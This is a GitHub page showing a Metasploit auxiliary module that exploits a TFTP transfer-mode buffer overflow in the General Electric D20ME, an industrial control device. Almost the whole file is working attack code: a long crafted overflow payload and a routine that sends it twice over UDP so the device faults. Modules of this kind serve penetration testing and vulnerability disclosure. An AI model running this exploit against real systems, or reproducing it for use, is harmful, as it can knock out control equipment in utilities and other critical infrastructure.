-
Notifications
You must be signed in to change notification settings - Fork 14
/
ged20tftp.rb
88 lines (74 loc) · 6.2 KB
/
ged20tftp.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# The General Electric D20 (and possibly other devices) have numerous
# buffer overruns in their TFTP servers and probably other servers.
# There are many buffer overruns like it, but this one is the D20's
# TFTP Server transfer-mode overflow.
# The filename also suffers from an overrun but seems unlikely to be
# exploitable.
##
require 'msf/core'
require 'rex/ui/text/shell'
require 'rex/proto/tftp'
class Metasploit3 < Msf::Auxiliary
include Rex::Ui::Text
include Rex::Proto::TFTP
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'General Electric D20ME TFTP Server Buffer Overflow',
'Description' => %q{ None given
},
'Author' => [ 'K. Reid Wightman <[email protected]>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 1 $',
'DisclosureDate' => 'Jan 19 2012',
))
register_options(
[
Opt::RPORT(69),
Opt::RHOST('192.168.255.1'),
], self.class)
end
def setup
@rhost = datastore['RHOST']
@rport = datastore['RPORT'] || 69
@lport = datastore['LPORT'] || (1025 + rand(0xffff - 1025))
@lhost = datastore['LHOST'] || "0.0.0.0"
@payload = "\x00\x01NVRAM\\D20.zlb\x00netascii\x80\x80\x80\x80\x80\x80\x80\x81\x80\x80\x80\x82\x80\x80\x80\x83\x80\x80\x80\x84\x80\x80\x80\x85\x80\x80\x80\x86\x80\x80\x80\x87\x80\x80\x80\x88\x80\x80\x80\x89\x80\x80\x80\x8a\x80\x80\x80\x8b\x80\x80\x80\x8c\x80\x80\x80\x8d\x80\x80\x80\x8e\x80\x80\x80\x8f\x80\x80\x80\x90\x80\x80\x80\x91\x80\x80\x80\x92\x80\x80\x80\x93\x80\x80\x80\x94\x80\x80\x80\x95\x80\x80\x80\x96\x80\x80\x80\x97\x80\x80\x80\x98\x80\x80\x80\x99\x80\x80\x80\x9a\x80\x80\x80\x9b\x80\x80\x80\x9c\x80\x80\x80\x9d\x80\x80\x80\x9e\x80\x80\x80\x9f\x80\x80\x80\xa0\x80\x80\x80\xa1\x80\x80\x80\xa2\x80\x80\x80\xa3\x80\x80\x80\xa4\x80\x80\x80\xa5\x80\x80\x80\xa6\x80\x80\x80\xa7\x80\x80\x80\xa8\x80\x80\x80\x00\x80\x80\x80\xaa\x80\x80\x80\xab\x80\x80\x80\xac\x80\x80\x80\xad\x80\x80\x80\xae\x80\x80\x80\xaf\x80\x80\x80\xb0\x80\x80\x80\xb1\x80\x80\x80\xb2\x80\x80\x80\xb3\x80\x80\x80\xb4\x80\x80\x80\xb5\x80\x80\x80\xb6\x80\x80\x80\xb7\x80\x80\x80\xb8\x80\x80\x80\xb9\x80\x80\x80\xba\x80\x80\x80\xbb\x80\x80\x80\xbc\x80\x80\x80\xbd\x80\x80\x80\xbe\x80\x80\x80\xbf\x80\x80\x80\xc0\x80\x80\x80\xc1\x80\x80\x80\xc2\x80\x80\x80\xc3\x80\x80\x80\xc4\x80\x80\x80\xc5\x80\x80\x80\xc6\x80\x80\x80\xc7\x80\x80\x80\xc8\x80\x80\x80\xc9\x80\x80\x80\xca\x80\x80\x80\xcb\x80\x80\x80\xcc\x80\x80\x80\xcd\x80\x80\x80\xce\x80\x80\x80\xcf\x80\x80\x80\xd0\x80\x80\x80\xd1\x80\x80\x80\xd2\x80\x80\x80\xd3\x80\x80\x80\xd4\x80\x80\x80\xd5\x80\x80\x80\xd6\x80\x80\x80\xd7\x80\x80\x80\xd8\x80\x80\x80\xd9\x80\x80\x80\xda\x80\x80\x80\xdb\x80\x80\x80\xdc\x80\x80\x80\xdd\x80\x80\x80\xde\x80\x80\x80\x00\x00\x00\x80\x00\x00\x01\x80\xe1\x80\x80\x80\xe2\x80\x80\x80\xe3\x80\x80\x80\xe4\x80\x80\x80\xe5\x80\x80\x80\xe6\x80\x80\x80\xe7\x80\x80\x80\xe8\x80\x80\x80\xe9\x80\x80\x80\xea\x80\x80\x80\xeb\x80\x80\x80\xec\x80\x80\x00\x80\x00\x00\x00\x7f\xff\xbc\x80\xef\x80\x80\x80\xf0\x80\x80\x80\xf1\x80\x80\x80\xf2\x80\x80\x80\xf3\x80\x80\x80\xf4\x80\x80\x80\xf5\x80\x80\x80\xf6\x80\x80\x80\xf7\x80\x80\x80\xf8\x80\x80\x80\xf9\x80\x80\x80\xfa\x80\x80\x80\xfb\x80\x80\x80\xfc\x80\x80\x80\xfd\x80\x80\x80\xfe\x80\x80\x81\x80\x80\x80\x81\x81\x80\x80\x81\x82\x80\x80\x81\x83\x80\x80\x81\x84\x80\x80\x81\x85\x80\x80\x81\x86\x80\x80\x81\x87\x80\x80\x81\x88\x80\x80\x81\x89\x80\x80\x81\x8a\x80\x80\x81\x8b\x80\x80\x81\x8c\x80\x80\x81\x8d\x80\x80\x81\x8e\x80\x80\x81\x8f\x80\x80\x81\x90\x80\x80\x81\x91\x80\x80\x81\x92\x80\x80\x81\x93\x80\x80\x81\x94\x80\x80\x81\x95\x80\x80\x81\x96\x80\x80\x81\x97\x80\x80\x81\x98\x80\x80\x81\x99\x80\x80\x81\x9a\x80\x80\x81\x9b\x80\x80\x81\x9c\x80\x80\x81\x9d\x80\x80\x81\x9e\x80\x80\x81\x9f\x80\x80\x81\xa0\x80\x80\x81\xa1\x80\x80\x81\xa2\x80\x80\x81\xa3\x80\x80\x81\xa4\x80\x80\x81\xa5\x80\x80\x81\xa6\x80\x80\x81\xa7\x80\x80\x81\xa8\x80\x80\x81\xa9\x80\x80\x81\xaa\x80\x80\x81\xab\x80\x80\x81\xac\x80\x80\x81\xad\x80\x80\x81\xae\x80\x80\x81\xaf\x80\x80\x81\xb0\x80\x80\x81\xb1\x80\x80\x81\xb2\x80\x80\x81\xb3\x80\x80\x81\xb4\x80\x80\x81\xb5\x80\x80\x81\xb6\x80\x80\x81\xb7\x80\x80\x81\xb8\x80\x80\x81\xb9\x80\x80\x81\xba\x80\x80\x81\xbb\x80\x80\x81\xbc\x80\x80\x81\xbd\x80\x80\x81\xbe\x80\x80\x81\xbf\x80\x80\x81\xc0\x80\x80\x81\xc1\x80\x80\x81\xc2\x80\x80\x81\xc3\x80\x80\x81\xc4\x80\x80\x81\xc5\x80\x80\x81\xc6\x80\x80\x81\xc7\x80\x80\x81\xc8\x80\x80\x81\xc9\x80\x80\x81\xca\x80\x80\x81\xcb\x80\x80\x81\xcc\x80\x80\x81\xcd\x80\x80\x81\xce\x80\x80\x81\xcf\x80\x80\x81\xd0\x80\x80\x81\xd1\x80\x80\x81\xd2\x80\x80\x81\xd3\x80\x80\x81\xd4\x80\x80\x81\xd5\x80\x80\x81\xd6\x80\x80\x81\xd7\x80\x80\x81\xd8\x80\x80\x81\xd9\x80\x80\x81\xda\x80\x80\x81\xdb\x80\x80\x81\xdc\x80\x80\x81\xdd\x80\x80\x81\xde\x80\x80\x81\xdf\x80\x80\x81\xe0\x80\x80\x81\xe1\x80\x80\x81\xe2\x80\x80\x81\xe3\x80\x80\x81\xe4\x80\x80\x81\xe5\x80\x80\x81\xe6\x80\x80\x81\xe7\x80\x80\x81\xe8\x80\x80\x81\xe9\x80\x80\x81\xea\x80\x80\x81\xeb\x80\x80\x81\xec\x80\x80\x81\xed\x80\x80\x81\xee\x80\x80\x81\xef\x80\x80\x81\xf0\x80\x80\x81\xf1\x80\x80\x81\xf2\x80\x80\x81\xf3\x80\x80\x81\xf4\x80\x80\x81\xf5\x80\x80\x81\xf6\x80\x80\x81\xf7\x80\x80\x81\xf8\x80\x80\x81\xf9\x80\x80\x81\xfa\x80\x80\x81\xfb\x80\x80\x81\xfc\x80\x80\x81\xfd\x80\x80\x81\xfe\x80\x80\x82\x80\x80\x80\x82\x81"
@client1 = Rex::Socket::Udp.create()
@client2 = Rex::Socket::Udp.create()
end
def rtarget(ip=nil)
if (ip or rhost) and rport
[(ip || rhost),rport].map {|x| x.to_s}.join(":") << " "
elsif (ip or rhost)
"#{rhost} "
else
""
end
end
def run
@client1.sendto(@payload, @rhost, @rport)
# wait until the client gets some data back
while @client1.read().length == 0
end
@client2.sendto(@payload, @rhost, @rport)
print_good "Exploit complete. The d20 should fault after a timeout."
end
def print_tftp_status(msg)
case msg
when /Aborting/, /errors.$/
print_error [rtarget,msg].join
when /^WRQ accepted/, /^Sending/, /complete!$/
print_good [rtarget,msg].join
else
vprint_status [rtarget,msg].join
end
end
end